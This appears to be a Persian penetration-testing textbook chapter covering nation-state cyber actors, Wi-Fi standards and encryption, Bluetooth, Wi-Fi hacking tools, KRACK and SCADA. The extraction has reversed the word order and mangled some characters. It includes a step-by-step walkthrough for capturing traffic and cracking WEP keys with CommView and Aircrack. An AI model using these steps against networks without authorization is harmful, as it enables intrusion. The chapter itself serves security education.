 از واقعاً ها روس ،که یافت شواهدی و ،است کرده هک را روسیه جاسوسی های آژانس

Kaspersky مورد یک نمونه این .کردند می استفاده سایبری جاسوسی برای ای وسیله عنوان به 
 .هستند همدیگر کردن هک حال در همه رسد می نظر به که باشد می کلاسیک

 سایبری تروریسم و سایبری جنگ که دهد می نشان وضوح به شده ذکر حوادث از یک هر
 ,Fear) (شک ،اطمینان عدم ،ترس) FUD گسترش برای که نیستند خیالی های داستان فقط

Uncertainty, Doubt) سایبری تروریسم و سایبری جنگ تهدیدات بلکه اند. شده طراحی 
 .باشد آگاه ها آن از باید امنیت متخصص هر که هستند واقعی های دغدغه

 

  (Nation State Actors) ملی ایالت بازیگران

 توصیف حوادث اکثر ،شود سایبری های کشمکش درگیر تواند می شخصی هر که حالی در
 انجام چگونگی درک ،بنابراین .هستند ملی های دولت بازیگران شامل قبلی بخش در شده
 .باشد می حیاتی بازیگرانی چنین
 چینی پیشرفته مداوم تهدید حملات در ملی های دولت بازیگران از کلاسیک نمونه یک
(APT) ( Advanced Persistent Threat) سایبری امنیت شرکت توسط که شده یافت 

Mandiant 2004 سال از .است شده کشف، Mandiant چندین APT ردیابی سال 7 طی در را 
 به ها APT این اند. گرفته منشأ پودونگ منطقه و شانگهای ویژه به ،چین از همگی که کرد

 ارتش PLA Unit 61398 به حملات این .شدند نامگذاری غیره و APT1، APT2 سادگی
 .بودند مرتبط چین
 سایبری جنگ رسد می نظر به و ،ددان می شده بندی طبقه را واحد این های فعالیت چین دولت
 در را شرکت 141 گروه این های APT از یکی فقط .باشد می ها آن وظایف از یکی تهاجمی

 1764 مورد یک در و روز 365 متوسط طور به APT1 .انداخت خطر به مختلف صنعت 20
 تترابای 6.5 سرقت مسئول APT1 .کند حف  را قربانی های شبکه به دسترسی توانست روز

 .است ماهه 10 زمانی بازه یک در واحد سازمان یک از اطلاعات
 تر پیچیده حملات ،اول .دهد می نشان را ملی دولت بازیگران ضروریات موردی مطالعه این
 با دارند تمایل حملات ،دوم .نیست بازی اسکریپت و اسکریپت با شوخی حملات این .باشد می
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 هکر یک و ملی حالت یک بین تفاوت به اگر ستا منطقی .باشند داشته ادامه زمان گذشت
 روز 7 ،روز در ساعت 24 تواند نمی تنها مهاجم .کنید فکر (هکرها از کوچکی گروه یا) تنها
 در را منابعی ملی دولت .دهد می دست از را خود علاقه،تنها مهاجم نهایت در .کند حمله هفته
 .دهد ادامه ماهها برای و زرو هر و ماه 24 مدت به را حمله یک که دارد اختیار

 

 خلاصه

 ارائه را اطلاعاتی چه هایی کنفرانس چه اینکه جمله از ،ها کنفرانس مورد در ،فصل این در
 در شرکت برای را مناسب های کنفرانس کند کمک شما به باید فصل این .شد بحث ،دهند می
 در ،سرانجام .شدید ناآش تاریک وب بازارهای و تاریک وب با همچنین شما .کنید انتخاب آن
 در را بیشتری جزئیات همچنین .کردیم بحث ملی های دولت بازیگران و سایبری جنگ مورد
 طور به و سایبری امنیت به کلی طور به مباحث این همه .دادیم ارائه خاص های گواهینامه مورد
 .هستند مرتبط نفوذ تست خاص
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 فصل اهداف

 :بود خواهید قادر ،فصل این خواندن از پس
 کنید. درک را سیم بی نفوذ تست انجام نحوه 
 از درستی درک SCADA داشت. خواهید نفوذ تست و 
 بدانید. را سیار دستگاه نفوذ تست ضروری موارد 
 از استفاده ،ویندوز نفوذ تست جمله از نفوذ تست مختلف های جنبه به گذشته های فصل در

Metasploit نفوذ رایج تست زمینه چند مورد در فصل این در .شد پرداخته بدافزار ایجاد و 
 در مقدماتی ارائه هدف .باشند می تر تخصصی که هستند موضوعاتی اینها .کنیم می صحبت
 برای نفوذ تست مورد در مبنا( اساسی)خط دانش حداقل بتوانید تا باشند می ها حوضه این مورد
 .یدباش داشته ها فناوری این
 

  (Wireless Pen Testing) سیم بی نفوذ تست

 مورد "کردن هک عمومی های تکنیک" ،12 فصل در خلاصه طور به سیم بی کردن هک
 ،موارد بعضی در .پرداخت خواهیم آن جزئیات به فصل این در ،حال این با .گرفت قرار بحث
 این بودن مهم امر ینا دلیل که ،باشد داشته وجود تکراری اطلاعات کمی مقدار است ممکن

 .است اطلاعات
 خود کار محل یا خانه در سیم بی روتر فکر به احتمالاً .است سیم بی معنای تعریف مسئله اولین
 گیگاهرتز 5.0 یا گیگاهرتز 2.4 در معمولاً رادیویی امواج از استفاده با عملیات این .اید افتاده
 قابل نیز همراه تلفن و بلوتوث ،قرمز ادونم با (wirelessسیم) بی ،حال این با .کند می کار

 اینها از یک هر اصول بررسی با .دهند می تشکیل را سیم بی ارتباطات اینها همه .است دستیابی
 .کرد خواهیم شروع

 

802.11. 

 Institute الکترونیک و برق مهندسان انستیتوی توسط اغلب شبکه های آوری فن استانداردهای

of Electrical and Electronics Engineers (IEEE) استانداردها معمولاً .شود می تعیین 
 IEEE استاندارد ،سیم بی رادیویی های سیگنال برای .هستند عددی مشخصات یک دارای
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 قابل کانالهای .کند تعریف تواند می را کانال 14 تعداد ،802.11 استاندارد .باشد می 802.11
 نقطه یک ،متحده ایالات در ،مثال عنوان به .ودش می تعیین میزبان کشور توسط استفاده
 به گرایش معمولاً ها کانال .کند استفاده 11 تا 1 های کانال از تواند می فقط سیم بی دسترسی
 .کنند استفاده نزدیک های کانال از نباید اطراف های WAP بنابراین دارند (overlapاشتراک)
 دنبال به و است 802.11 کدام هر اند. یافته تکامل Wi-Fi استانداردهای در ،ها کانال از فراتر
 اینجا در ،زمانی ترتیب به ،Wi-Fi استانداردهای از لیستی .شود می تعیین حروف از برخی آن

 :است شده آورده
802.11a اولین این Wi-Fi کند نسبتاً و کرد می کار گیگاهرتز 5 سرعت با که بوده پرکاربرد 

 .بود
802.11b فوت 125 داخلی دامنه دارای و کرد می کار گیگاهرتز 2.4 فرکانس با استاندارد این 

 .بود ثانیه بر مگابیت 11 باند پهنای با باشد( می متر سانتی 30.48 فوت یک )هر
 802.11gتوان نمی دیگر ولی ،هستند فعالیت حال در سیم بی های شبکه این از بسیاری هنوز 

 استاندارد این .کرد خریداری کنند می استفاده 802.11g از که را Wi-Fi جدید دسترسی نقاط
 و فوت 125 داخلی فضای دارای 802.11g .باشد می عقب به 802.11b با سازگاری شامل
 .است ثانیه بر مگابیت 54 باند پهنای

802.11n باند پهنای اند. کرده پیشرفت بسیار قبلی سیم بی های شبکه به نسبت استاندارد این 
 گیگاهرتز 5.0 یا 2.4 فرکانسهای با دستگاه این .آورد دست به را ثانیه در یتمگاب 140 تا 100
 .است فوت 230 تا آن داخلی برد و کند می کار

802.11n-2009 مگاهرتز 40 کانال عر  در فضایی جریان چهار از استفاده با فناوری این، 
 ورودی چند روجیخ چندین از .کند می دریافت را ثانیه بر مگابیت 600 تا باند پهنای

(MIMO) یک با آنچه از بیشتر اطلاعات منسجم حل برای آنتن چندین از که کند می استفاده 
 .کند می استفاده باشد، می پذیر امکان منفرد آنتن

802.11ac حداقل با ثانیه بر گیگابیت 1 تا آن توان .شد تأیید 2014 ژانویه در استاندارد این 
 .کند می استفاده خروجی 8 و ورودی 8 داکثرازح .است ثانیه بر مگابیت 500
 802.11ad بی گیگابیت اتحاد استاندارد (سیمWireless Gigabit Alliance standard) . از 

 بالاترین از سریعتر برابر ده از بیش ،کند می پشتیبانی ثانیه بر گیگابیت 7 تا داده انتقال سرعت
 .802.11n نرخ

802.11af عنوان به همچنین "White-Fi" و "Super Wi-Fi" این ،شود می نامگذاری 
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 تلویزیون سفید فضای طیف در WLAN کار اجازه شده تصویب 2014 فوریه در که استاندارد
 .دهد می مگاهرتز 790 تا 54 بین UHF و VHF باند در را

aj 802.11aj 802.11 جدید تجاری نامad گیگاهرتز 45 مجاز غیر طیف در استفاده برای 
 .است (چین ویژه به) جهان مناطق از برخی در موجود
 به پروتکل سه .است Wi-Fi امنیت ،شوید آشنا آن با Wi-Fi ارتباطات در باید که بعدی مورد
 خواهد داده شرح خلاصه طور به اینجا در .دارد وجود Wi-Fi امنیت اصلی سازوکارهای عنوان
 .شد
 

WEP. 

Wired Equivival Privacy (WEP) یانجر رمز از RC4 یک و ها داده سازی ایمن برای 
 یک از استفاده با WEP استاندارد .کند می استفاده خطا بررسی برای CRC-32 کنترل مجموعه
 مؤثر طور به (،IV) بیتی 24 اولیه مقداردهی بردار با (WEP-40 به معروف) بیتی 40 کلید

 بیتیIV 24 با بیتی 104 کلید یک از بیتی WEP 128 .دهد می تشکیل را بیتی 64 رمزگذاری
  (Initialization vector (IV) ) .کند می استفاده

 .شود استفاده بار دو نباید هرگز ترافیک کلید یک از ،است جریان رمز یک RC4 که آنجا از
 IV اما ،است تکرار هرگونه از جلوگیری ،شود می منتقل ساده متن صورت به که ،IV از هدف
 استفاده حوهن .نیست کافی شلوغ شبکه یک در مورد این از اطمینان برای (bit IV-24) بیتی24
 ٪50 احتمال ،بیتیIV 24 برای .کند می باز مرتبط یدیکل حمله کی به را WEP زین IV از

 .شود تکرار بسته 5000 از بعد IV همان که دارد وجود
 

WPA 

Wi-Fi Protected Access (WPA) از شده محافظت دسترسی Wi-Fi از کلی طور به 
 استفاده Temporal Key Integrity Protocol (TKIP) موقت کلید یکپارچگی پروتکل

 جدید کلید یک پویا صورت به که معنی این به ،است بیتی 128 بسته کلید یک TKIP .کند می
 :کند می کار حالت دو در WPA .کند می تولید بسته هر برای

 WPA-Personal: حالت به همچنین WPA-PSK (اشتراکی پیش از یدکل) گفته نیز 
 احراز سرور به و است شده طراحی کوچک اداری دفترهای و خانگی های شبکه برای .شود می
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 نقطه با بیتی 256 کلید همان از استفاده با سیم بی شبکه دستگاه هر .ندارد احتیاج هویت
 .کند می هویت احراز دسترسی،

 WPA-Enterprise: حالت به WPA-802.1x سازمانی های شبکه برای .شود می فتهگ نیز 
 پروتکل از هویت احراز برای .دارد نیاز RADIUS هویت احراز سرور یک به و شده طراحی
 .کند می استفاده Extensible Authentication Protocol (EAP) توسعه قابل هویت احراز
EAP مانند مختلفی های سازی پیاده EAP-Transport Layer Security (EAP-TLS) و 

EAP-Tunneled Transport Layer Security (EAP-TTLS) دارد را. 
 

WPA2. 

WPA2 استاندارد براساس IEEE 802.11i پروتکلی سه از پروتکل تنها این .است شده ساخته 
 را "رمزنگاری" 3 فصل اگر .کند می سازی پیاده کاملاً را 802.11i استاندارد که باشد می

 .بود خواهد منطقی شما برای موارد این شتربی ،باشید کرده مطالعه
WPA2 پیشرفته رمزگذاری استاندارد از (AES) Advanced Encryption Standard با 
 Counter Mode-Cipher Block (CCMP) (MAC) پیام هویت احراز کد پروتکل از استفاده

Chaining (CBC) -Message Authentication Code (امنیتی کد) که کند می استفاده 
 سیم بی های فریم برای را ها داده یکپارچگی و ها داده منبع اعتبار تأیید ،ها داده بودن محرمانه
 از باید همیشه ،باشد نداشته وجود کار این برای ای کننده قانع دلیل که زمانی تا .کند می فراهم

WPA2 کرد استفاده. 
 

BSSID. 

 مجموعه اصلی شناسه ،اطلاعات ترین جالب ،Wi-Fi 802.11 های دستگاه گرفتن نظر در هنگام
 که هستند بنیادی سرویس مجموعه یک دارای سیم بی های شبکه .است (BSSID) خدمات
 آدرس و است شده تعیین پیش از ساخت حین در BSSID این .است ID، BSSID دارای

MAC اگر .است سیم بی دسترسی نقطه BSSID قطهن آن دانید نمی اما ،دارید لاگ یک در 
 جستجو آن در را BSSID توان می که دارد وجود هایی سایت وب ،کجاست سیم بی دسترسی
 از یکی فقط این ،https://wigle.net مثال عنوان به ،کرد جستجو را جغرافیایی موقعیت و کرد

 .است BSSID کاربردهای

https://wigle.net/
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 امنیتی اقدامات سایر

 وجود دیگر مرحله چندین .است Wi-Fi شبکه امنیت تأمین در قدم ولینا فقط WPA2 اجرای
 مرتباً که باشد می ادمین مستحکم رمزعبور داشتن موارد این از یکی .شود انجام باید که دارد
 صورت بدین تست برای واضح مورد یک ،نفوذ کننده تست یک عنوان به .کند تغییر
 واقع در نه،که یا کند می استفاده فر  پیش عبور مزر از شما )کلاینت( مشتری آیا باشدکه می
 .افتد می اتفاق اوقات خیلی مورد این
 MAC آدرس درصورتیکه فقط .است MAC کردن فیلتر ،امنیتی اقدامات از دیگر یکی

 به را Wi-Fi دسترسی نقاط بیشتر توان می ،باشد شده تأیید دستگاههای از لیستی در دستگاه
 فیلتر 18-1 شکل .شوند متصل دسترسی نقطه به بتوانند ها دستگاه که دکر پیکربندی ای گونه
 .دهد می نشان را Linksys روتر برای MAC کردن

 
 .MAC کردن فیلتر .18-1 شکل

 با هایی محیط در تنها ،اولاً .نیست کامل نیز مورد این ،امنیتی اقدامات سایر مانند ،متأسفانه
 معمول طور به شما اگر .باشد می اجرا قابل شتریم دستگاههای پایدار نسبتاً مجموعه
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 جدید دستگاه هر MAC آدرس کردن اضافه ،کنید می متصل هم به را جدیدی های دستگاه
 .باشد می پذیر امکان امنیتی اقدام این زدن دور و MAC آدرس جعل ،ثانیاً .است دشواری کار

 این .شود ایمن سیم بی ترسیدس نقطه برای (interface) کاربری واسط است لازم همچنین
 موارد این امنیت تواند می ساده قانون چند .هستند وب (interfaceواسط) دارای همه ها دستگاه

 تمام ترتیب این به .http از نه کنند استفاده https از باید فقط ها آن ،اینکه اول .کند بیشتر را
 طریق از باید فقط ها آن ،یاثان .شوند می رمزگذاری WAP به شده ارسال اداری دستورات
 .باشند دسترس در سیم بی نه و سیمی اتصال
 ادمین صفحه وارد کنید سعی .شود بررسی نفوذ تست یک در باید که هستند مواردی همه اینها

WAP نقص یک این ،کنید پیدا دسترسی آن به سیم بی صورت به توانید می اگر حتی .شوید 
 رمزهای ،سیستم به ورود برای سپس . (نباشید سیستم به ودور به قادر اگر حتی) است امنیتی
 WiFi برای هک های تکنیک مورد در ما ،فصل این در بعداً .کنید امتحان را فر  پیش عبور
 .دهید انجام WAP از اولیه تست یک توانید می ،آن بدون حتی اما ،کرد خواهیم بحث

 

  (Infrared) قرمز مادون

 ارتباطات به بستگی امر این دلیل .شود نمی استفاده زیاد گذشته دازهان به قرمز مادون امروزه
 مادون برای استفاده موارد تنها امروزه .کند مسدود را ارتباط تواند می مانعی هر .دارد دید مسیر
 دو سازی همگام ،مثال عنوان به .باشد می شده محدود و کوتاه های اپلیکیشن از استفاده قرمز

 .است کوتاه نسبتاً نیز قرمز مادون د(دامنه)بر .دستگاه
 

  (Bluetooth) بلوتوث

 و باشند، داشته کمی نسبتاً فاصله باید اما ،نیست وابسته دید خط به قرمز مادون مانند بلوتوث
 ،حال این با .نباشد مفید کلی هدف سیم بی های شبکه برای دارد احتمال که است معنی بدان
 .است مفید بسیار ریکدیگ به ها دستگاه اتصال برای

 از بیش شامل یافته،که توسعه داشتند بلوتوث به خاصی علاقه که ای ویژه گروه توسط بلوتوث
 .است اریکسون و موتورولا ،توشیبا ،اینتل ،زیمنس جمله از شرکت 1000
IEEE با را بلوتوث IEEE 802.15.1 کند نمی حف  را استاندارد دیگر اما است کرده استاندارد. 
 .دارند قرار محدوده در که باشد می بلوتوثی های دستگاه کشف قابلیت بلوتوث اصلی مزیت
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 را دانمارک قبایل او .است آمده 10 قرن دانمارکی پادشاه ،بلوتوث هارالد پادشاه از نام این
 هم با را ارتباطی های پروتکل بلوتوث که باشد می صورت بدین آن مفهوم بنابراین .کرد متحد
 وی گویند می دیگر گروهی ،است شده ارائه مختلفی توضیحات وی نام درباره .کند می متحد
 وی که گویند می دیگر گروه . (است بوده پوسیده دندانش واقع در) داشت زشتی آبی دندان
 10 برد حداکثر بلوتوث که کنند می بیان ها دوره و متون از بسیاری .است پوشیده می آبی اغلب
 باند پهنای و ها محدوده 1-18 جدول .کند می صدق 3.0 بلوتوث وردم در فقط که دارد، متر
 .کند می بیان خلاصه طور به را بلوتوث مختلف های نسخه

 بلوتوث های ورژن برای باند پهنای / ها محدوده 1-18 جدول

 
 

 از که است معنی بدان و است، شده طراحی ای لایه پروتکل معماری یک عنوان به بلوتوث
 های پروتکل .است شده داده شرح زیر لیست در که کند می استفاده ها پروتکل از هایی لایه

 .هستند SDP و LMP، L2CAP شامل دارند بلوتوث های دستگاه همه که اجباری
LMP: لینک مدیریت پروتکل (Link Management Protocol) پیوند کنترل و تنظیم برای 
 .شود می استفاده دستگاه دو بین ارتباطی

 L2CAP: منطقی) اتصال تطبیق و کنترل پروتکلLogical Link Control and Adaptation 

Protocol) شود می استفاده دستگاه دو بین متعدد اتصالات کردن پلکس مالتی برای. 
 SDP: سرویس کشف پروتکل (Service Discovery Protocol) دستگاه دو چگونه 

 .دهند می ارائه را هایی سرویس چه هرکدام فهمند می
 RFCOMM: فرکانس ارتباطات (رادیوییRadio Frequency Communications،) 

 جریان یک ،حالت این در .کند می فراهم را داده جریان یک ،پیداست نامش از که طور همان
 .است مجازی سریال داده
 BNEP: بلوتوث شبکه سازی کپسوله پروتکل (Bluetooth Network Encapsulation 

Protocol) کانال طریق از دیگر های پروتکل برخی انتقال برای L2CAP کند می استفاده. 
BNEP کند می کپسوله را دیگر پروتکل. 
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AVCTP: تصویر و صدا توزیع انتقال پروتکل (Audio/Video Distribution Transport 

Protocol) کانال طریق از تصویری / صوتی کنترل دستورات انتقال برای L2CAP ادهاستف 
 .کند می
 HCI: میزبان کننده کنترل واسط (Host Controller Interface) استاندارد ارتباط هرگونه به 

 .دارد اشاره (واقعی بلوتوث جریان) کننده کنترل و (عامل سیستم یعنی) میزبان پشته بین
 OBEX: شی تبادل (Object Exchange) کند می تسهیل ها دستگاه بین را باینری اشیا انتقال. 
 در مورد این .شود می استفاده بلوتوث در اکنون اما ،بود شده طراحی قرمز مادون برای ابتدا در

 از ارتباط برقراری برای .شود می استفاده کارکردها سایر و چاپ ،تلفن دفترچه به دسترسی
RFCOMM کند می استفاده. 

 کمی اطلاعات ،کنید می (pair) متصل دیگری به بلوتوث طریق از را خود دستگاه که هنگامی
 تعریف را حالت چهار بلوتوث امنیت .شود می بدل و رد خدمات لیست و دستگاه نام جمله از
 که دارد آن روی زیادی تأثیر کند می استفاده که روشی از شما تلفن که است واضح .کند می
 .شد نخواهد انجام حملاتی وچه شد خواهد واقع حملاتی چه
 نیست نایم 1 امنیتی حالت. 
 امنیت مدیر یک از و کند می کنترل را خاص های سرویس به دسترسی 2 امنیتی حالت 

 :است سطح سه دارای 2 حالت .شود می آغاز پیوند ایجاد از پس تنها این اما .کند می استفاده
 .است باز ها دستگاه همه برای فر  پیش سطح :1 سطح            
 .یتهو احراز فقط :2 سطح            

 .شود وارد باید نیز پین شماره .دارد مجوز و هویت احراز به نیاز :3 سطح            
 هویت احراز از .کند می آغاز را امنیتی مراحل ،لینک هرگونه ایجاد از قبل 3 امنیتی حالت 
 .داند می ترین امن را حالت این NISTکند. می پشتیبانی رمزگذاری و
 هویت احراز فقط 2 حالت مانند اما ،دارد احتیاج شده أییدت های لینک به 4 امنیتی حالت 
(authentication) شود می آغاز لینک ایجاد از پس رمزگذاری و. 

 طریق از ها تاپ لپ اکثر .باشد نفوذ کننده تست برای توجهی قابل مسئله تواند می بلوتوث
 باید کند،که می راهمف را تاپ لپ به اتصال احتمالی مسیر یک بلوتوث .هستند فعال بلوتوث
 CD)کامپیوتری ارتباطات انواع سازمانها از بسیاری که دارد وجود موردی همچنین .شود تست

/ DVD، USB کاربران توسط ها داده رفتن بین از یا نصب از تا کنند می مسدود را (غیره و 
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 USB آیا که دکنی بررسی باید باشد، کننده نگران نفوذ تست در مسئله این اگر .کنند جلوگیری
 نفوذ برای دیگری مسیر بتواند که کنند می کار بلوتوث آیا یا و شده مسدود ها کامپیوتر این

 .کند فراهم افزار نرم نصب یا ها داده به کردن
 

  (Other Forms of Wireless) سیم بی دیگر شکلهای

 طور به که بود سیم بی اتصالات تنها شد بیان بالا در که مواردی ،طولانی زمان مدت برای
 بی پروتکل یک +ANT.است کرده تغییر ،حال این با .گرفت می قرار استفاده مورد گسترده
 به اجرایی های اپلیکیشن یا زیستی حسگرهای مانند حسگر های داده در اغلب که است سیم

 .شود می کارگرفته
Near Field Communication (NFC) فاصله در هدستگا دو این که کند می کار صورتی در 

 با ISM جهانی محدوده در رادیویی فرکانس این .باشند یکدیگر از (اینچ 1.6) متری سانتی 4
 ISO / IEC هوا، (Interfaceواسط) روی بر مگاهرتز 13.56 مجاز غیر رادیویی فرکانس

 در NFC .کند می کار ثانیه بر کیلوبیت 424 تا 106 از محدوده در هایی نرخ با 18000-3
ECMA-340 و ISO / IEC 18092 است شده استاندارد. 

 فن این آیا که کنید مشخص باید حداقل اما .نباشد نفوذ تست به مربوط است ممکن دو این
 تست محدوده در باید آیا که کنید ارزیابی سپس ،شود می استفاده مشتری شبکه در ها آوری
 .خیر یا باشد نفوذ
 

 Wi-Fi هک

 در ،بنابراین .است هک های تکنیک از استفاده شامل نفوذ تست ،دانید می قبل از که طور همان
 .کنیم بررسی را Wi-Fi هک های تکنیک و ابزارها از برخی دهید اجازه ما به بخش این
 

NetStumbler 

 کسب اطلاعاتی ها آن مورد در و کرد پیدا را Wi-Fi های شبکه توان می NetStumbler ابزار با
 /http://www.netstumbler.com/downloads لینک از توان می ار رایگان دانلود یک .کرد

 بسیار آن کاربری واسط ،است شده داده نشان 18-2 شکل در که طور همان .کرد دریافت
 .است آسان
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 .NetStumbler .18-2 شکل

 

 مربدوط  جزئیدات  و کرده اسکن را اطراف Wi-Fi دسترسی نقاط دهد می امکان شما به ابزار این
 .آورید دست به را ها آن به
 

 Aircrack از استفاده با Wi-Fi کردن هک

 این توانید می .باشد می سیم بی دسترسی نقاط اسکن برای CommView از استفاده قدم اولین
 18-3 شکل .کنید دانلود http://www.tamos.com/download/main/ca.php لینک از را ابزار

CommView دهد می نشان را. 

 
 .CommView .18-3 شکل
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 در .کنیدد  مدی  انتخداب  دهیدد  قرار هدف خواهید می که را سیم بی دسترسی نقاط از یکی اکنون
 زیداد  موفقیتتدان  احتمدال  WEP با .ایم کرده انتخاب را اجرا حال در WEP یک ما ،18-4 شکل
 .باشد می کم بسیار روش این موفقیت احتمال WPA2 یا WPA با .باشد می

 
 WAP یک انتخاب .18-4 شکل

 بیشدتر  هرچده  و باشدد  مدی  خوبی شروع بسته هزاران .کند ضبط را ها بسته مدتی برای دهید اجازه
 .کنید مشاهده 18-5 شکل در توانید می را بسته ضبط بهتر.

 
 .Packet Capture .18-5 شکل

 در .کنید ذخیره cap.فرمت با هایی فایل صورت به را ها لاگ ،File> Export به رفتن با اکنون
 Aircrack باید اکنون .باشد می File> Save Log As صورت به کردن ذخیره بعدی های نسخه
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 را Aircrack بعد .کنید دانلود https://www.aircrack-ng.org/downloads.html لینک از را
 پروتکل اگر ؛ کند می استفاده WEP از شما هدف اگر) کنید انتخاب را WEP و کرده باز

 .کنید مشاهده 18-6 شکل در را عملیات توانید می . (است نشده انتخاب خود دفه برای مناسب

 
 .WEP به حمله به شروع .18-6 شکل

 

 کلیک Launch روی و کرده انتخاب (اید کرده ذخیره اخیراً که را فایلی) مناسب فایل سپس
 کرک WEP ،باشد داشته وجود کافی اطلاعات و کافی (packets) های بسته اگر .کنید
 یک ،بودن آمیز موفقیت صورت در .شد نخواهید موفق احتمالاً WPA2 و WPA برای .شود می

 .شود می داده نمایش و شده اندازی راه KEY FOUND فرمان پنجره
 

Cain and Abel. 

 مشداهده  وینددوز  بدرای  عبدور  رمدز  )شدکننده(  کنندده  کدرک  یک عنوان به کتاب این اوایل در 
 یکی .دارند نیز دیگری بسیار های ویژگی Cain and Abel که کردم رهاشا زمان آن در .کردید

 Cain توانید می .کند کرک را Wi-Fi پسورد تواند می که است Wi-Fi اسکنر ها ویژگی این از

and Abel کنید مشاهده 18-7 شکل در سیم بی دسترسی نقاط اسکن حال در را. 
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 Cain and Abel .18-7 شکل

 

 و کانال ،سیگنال ،BSSID جمله از ،است شده داده نشان WAP مورد در زیادی اطلاعات
 .باشد مفید WAP نقض برای تلاش در تواند می اطلاعات این .غیره
 

AirJack و Kismet 

 برای .کنید کامپایل را آن باید پس ،است دانلود قابل (Source Code) منبع کد عنوان به
 این با .شود صرف بخواهند است ممکن که شدبا می مقداری از بیش یکم تلاش نیا ،برخی
  :کنید دانلود زیر لینک از را آن توانید می .است پرطرفدار ابزاری AirJack ،حال

https://sourceforge.net/projects/airjack. 
Kismet کامپایل را آن خودتان باید و کرده دانلود منبع کد عنوان به که است دیگری ابزار 
 ابزارها این دوی هر .باشد می دانلود قابل /https://www.kismetwireless.net لینک از .کنید

 ابزارهای اینجا در .کردیم بحث ها آن مورد در قبلاً که دارند ابزارهایی با مشابه عملکردی
 کنید. بررسی را ها آن باشید داشته تمایل است ممکن که شود می مطرح جایگزینی

 

KRACK. 

 شامل ابزار این .است شده کشف WPA2 برای KRACK نام هب جدیدی پذیری آسیب در
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 اجازه مهاجم به نقص این .است WPA مشترک کلید ایجاد و دادن دست نحوه در نقصی
 لینک در حمله این مفهوم از کاملی مستندات .کند پیدا دسترسی شما Wi-Fi به تا دهد می

https://www.krackattacks.com/ برای که فوری خطر دلیل به نهات نه مهم این .است موجود 
 نفوذ کننده تست یک چرا که دهد می نشان دلیل این به بلکه ،کند می ایجاد Wi-Fi های شبکه
 و دارد وجود (exploitبرداری) بهره برای جدیدی نقایص همیشه .باشد روز به دائماً باید

 دانش که باشید تهداش خاطر به .دارد وجود حملات این کاهش برای جدیدی متقابل اقدامات
 .شد خواهد شما مشتریان امنیتی نقص به منجر شما طرف از شده منسوخ

 

Mainframe و SCADA 

 های سیستم به خاص طور به که شد بحث Stuxnet ویروس درباره ،"بدافزار" ،5 فصل در
 supervisory control and data acquisition (SCADA) ها داده به دستیابی و نظارتی کنترل
 .است کرده حمله اورانیوم تصفیه در استفاده مورد های سیستم به اینکه مخصوصا .کند می حمله
 مباحث به سپس ،داد خواهیم قرار بحث مورد را SCADA های سیستم مبانی ابتدا بخش این در

 .پرداخت خواهیم هایی سیستم چنین نفوذ تست به مربوط
 

  SCADA اصول

 این .گیرند می قرار استفاده مورد صنعتی های سیستم در مکرر طور به SCADA های سیستم
 این .باشد مشابه های محیط و تولیدی های کارخانه ،آب تصفیه امکانات شامل تواند می سیستم

 قابل منطقی های کننده کنترل از استفاده با اغلب که هستند ای پیچیده تجهیزات دارای تاسیسات
 اجرا خودکار نیمه صورت به programmable logic controllers  (PLC) ریزی برنامه
 .کند مدیریت را ها دستگاه این همه بتواند که باشد می صورت بدین SCADA هدف .شوند می

 :باشید آشنا ها آن با باید که دارد وجود SCADA های سیستم اساسی اجزای از برخی
 دور راه از ترمینال واحدهای Remote terminal units (RTUs) دریافت و ارسال برای 
 .هستند شده تعبیه کنترل های قابلیت دارای اغلب و شوند می متصل سنسورها به داده
 ریزی برنامه قابل منطقی های کننده کنترل Programmable logic controllers (PLCs) 

 .هستند مدیریت تحت های دستگاه در واقع در که هستند کنترلرهایی
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 یدورسنج یا متری تله سیستم از (telemetry) اتصال برای معمول طور به PLC و ها 
RTU شود می استفاده کنترل مراکز با ها. 
 ها داده اکتساب سرور (data acquisition server) از که است افزاری نرم سرویس یک 

 های دستگاه با ،دورسنجی طریق از ،افزاری نرم های سرویس اتصال برای صنعتی های پروتکل
 .کند می استفاده ها PLC و ها RTU مانند میدانی

 ماشین و انسان رابط ( human–machine interface یا HMI) است دستگاهی یا ماشین 
 .دهد می ارائه انسانی اپراتور یک به را شده پردازش های داده که
 مورخ (historian) زمانی) برچسب دارای های داده که است افزاری نرم سرویس یکtime-

stamped data،) رویدادهای (بولیBoolean events) هشدارهای و (بولیBoolean alarms) 
 .کند می جمع داده پایگاه یک در را
 یک (ناظرsupervisory) باشد می (کامپیوتر) سیستم. 

PLC همراه به ناظر کامپیوتر .بود خواهند نظر مورد تجهیزات از ای ویژه نوع مخصوص ها 
 SCADA سیستم چند .بود خواهند اسکادا شندگانفرو مخصوص HMI و (historian) مورخ
 :از عبارتند

Eclipse NeoSCADA شما سازمان با متناسب تواند می که هستند ابزارها از ای مجموعه 
 .دارد لازم توجهی قابل پیکربندی اما .است صرفه به مقرون که بوده باز منبع .شود پیکربندی
 .کنید کسب /https://www.eclipse.org/eclipsescada درلینک توانید می را بیشتر اطلاعات

 WinCC شهرت صنعت در و نیست باز منبع محصول یک این .است شده تولید زیمنس توسط 
-http://w3.siemens.com/mcms/human لینک در توانید می .دارد خوبی بسیار

machineinterface/en/visualization-software/scada/pages/default.aspx عاتاطلا 
 .کنید کسب بیشتری

 است صنعتی های سیستم برای (Inductive Automation) القایی اثر اتوماسیون توسط احتراق 
 این مورد در بیشتری اطلاعات توانید می .گیرد می قرار استفاده مورد تاسیسات از بسیاری در و

 .کنید کسب https://inductiveautomation.com/what-isscada لینک از را سیستم
 Wonderware های حل راه از تعدادی SCADA کند می ایجاد مختلف های محیط برای را. 

 /https://www.wonderware.com/hmi-scada لینک از محصولات این جزئیات توانید می
 .آورید دست به
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 این با .پرداخت خواهیم SCADA نفوذ عمومی تست موضوعات از برخی به بخش این در
 خاص سیستم آن به مربوط مدارک و اسناد بررسی ،SCADA نفوذ تست در قدم اولین ،حال

SCADA باشد می. 
 

 SCADA نفوذ تست

 برای خود مختص استاندارد دارای PCI DSS، SCADA استاندارد با اعتباری کارتهای مانند
 امنیت راهنمای" ،2 ویرایش ،NIST 800-82 ویژه انتشارات طبق استاندارد این .است امنیت
 کنید: دانلود زیر لینک از توانید می را مستند این .است " (ICS) صنعتی کنترل های سیستم
 http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.80082r2.pdf. 
 بر مروری با کار این .است SCADA برای عالی آغازین مکان یک کلی طور به سند این

 وارد مستقیماً سند این سپس .دارد را خواندن ارزش که شود یم آغاز SCADA های سیستم
 .شود می صنعتی سیستمهای برای ریسک ارزیابی
 زیادی دقت با ،حال این با .کند نمی مشخص را نفوذ تست انجام نحوه استاندارد / سند این

